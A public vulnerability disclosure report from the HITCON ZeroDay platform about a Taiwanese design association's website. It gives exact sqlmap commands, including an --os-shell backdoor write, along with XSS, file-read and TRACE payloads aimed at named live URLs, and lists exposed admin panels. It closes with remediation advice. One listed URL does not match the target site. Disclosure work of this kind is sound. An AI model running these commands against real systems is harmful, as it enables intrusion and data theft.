Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-01345
- Vendor: 社團法人台灣設計菁英協會
- Title: 社團法人台灣設計菁英協會 存在 XST + SQLi to XSS + SQLi to LFI + SQLi to RCE
- Introduction: 網站存在 XST + SQLi to XSS + SQLi to LFI + SQLi to RCE
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/10/21 01:21:17 : 新提交 (由 BTtea 更新此狀態)
- 2024/10/21 01:23:05 : 新提交 (由 BTtea 更新此狀態)
- 2024/10/21 01:24:38 : 新提交 (由 BTtea 更新此狀態)
- 2024/10/21 01:36:02 : 新提交 (由 BTtea 更新此狀態)
- 2024/10/21 02:38:40 : 新提交 (由 BTtea 更新此狀態)
- 2024/10/21 17:06:53 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/11/08 14:13:34 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/11/08 14:13:34 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/11/08 14:13:34 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/12/21 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-01345
- 通報者:blacktea_player (BTtea)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
http://www.tdea.com.tw/news-detail.php
敘述
使用工具 SQLmap 輔助測試 (以下若使用SQLmap工具進行注入時有中斷問題,請去除 --batch 參數後進行注入,遇到詢問連線異常是否繼續測試的訊息請選擇預設默認選項,通常是 y )
-
XST
由於HTTP可接受TRACE過舊的協議,可利用於 XST 攻擊
curl -i "http://www.tdea.com.tw" -X TRACE -H "XST: <script>alert(1)</script>"運行結果
-
SQL injection
-
https://www.chivalrytainan.com/News.php?id=181
GET 參數 id 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "http://www.tdea.com.tw/news-detail.php?id=60" --prefix "'" --technique BTU --union-cols 9 --batch -v 3 --dbs --hex運行結果
-
http://www.tdea.com.tw/news.php?current=1
GET 參數 current 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "http://www.tdea.com.tw/news.php?current=1" --prefix "'" --technique BT --batch -v 3運行結果
-
-
SQL injection to XSS
可利用SQL注入語法來構造XSS
payloadhttp://www.tdea.com.tw/news-detail.php?id=60' and 0 union select 1,"<img src=1 onerror=alert(1)>",3,4,5,6,7,8,9-- a運行結果
-
SQL injection to LFI
由於資料庫權限過大可讀寫檔,嘗試讀取系統文件
payloadhttp://www.tdea.com.tw/news-detail.php?id=60%27%20and%200%20union%20select%201,load_file(0x433a2f77696e646f77732f77696e2e696e69),3,4,5,6,7,8,9--%20a運行結果
-
SQL injection to RCE
由於資料庫權限過大可讀寫檔,嘗試寫入php後門後執行指令
python3 sqlmap.py --random-agent -u "http://www.tdea.com.tw/news-detail.php?id=60" --prefix "'" --technique BTU --union-cols 9 --batch -v 3 --dbs --hex --web-root "C:/xampp/htdocs/tdea" --os-shell運行結果
根據上述各種利用,此SQL弱點CVSS 3.1分數為10.0分 (個人評分僅供參考)
https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE 類型 - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
-
無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害
http://www.tdea.com.tw/admin/login.php (後台開放外網存取)
http://www.tdea.com.tw/phpmyadmin/index.php (資料庫後台開放外網存取)
http://www.tdea.com.tw/phpinfo.php (php 設定資訊洩漏)
http://www.tdea.com.tw/cgi-bin/printenv.pl (環境設定資訊洩漏)
http://www.tdea.com.tw/server-info (伺服器狀態洩漏)
http://www.tdea.com.tw/server-status (伺服器狀態洩漏)
http://www.tdea.com.tw/ckeditor/ckfinder/ckfinder.html (可任意上傳下載,閱覽文件,且該組件過舊易受多個漏洞攻擊)
個人測試之上傳後門已盡數刪除
修補建議
其他檔案建議檢查是否有類似的弱點
apache , php , xampp , phpmyadmin 版本皆過舊,建議都升級至最新或較新的版本
在 C:/xampp 目錄下有發現 tmpummzg.php 與 tmputcau.php 後門檔案 , 在我測試前已有人先置入後門測試文件,建議清查系統檔案是否有其他類似檔案,以及檢查電腦是否有可疑連線 (排除是否已被當跳板或者殭屍)
不應被存取的頁面可使用 Apache 的 .htaccess 設定檔來限制不公開的頁面存取限制
建議可以使用 PDO 框架或者 mysqli_real_escape_string 函式,或者改寫成參數化查詢來預防 SQL injection。
PDO用法:
https://blog.tarswork.com/article/quick-start-operation-mysql-using-php-pdo/
mysqli_real_escape_string用法:
https://www.runoob.com/php/func-mysqli-real-escape-string.html
參數化查詢原理解說(wiki):
https://zh.wikipedia.org/zh-tw/%E5%8F%83%E6%95%B8%E5%8C%96%E6%9F%A5%E8%A9%A2
SQL injection 攻擊成因解說(wiki):
https://zh.wikipedia.org/zh-tw/SQL%E6%B3%A8%E5%85%A5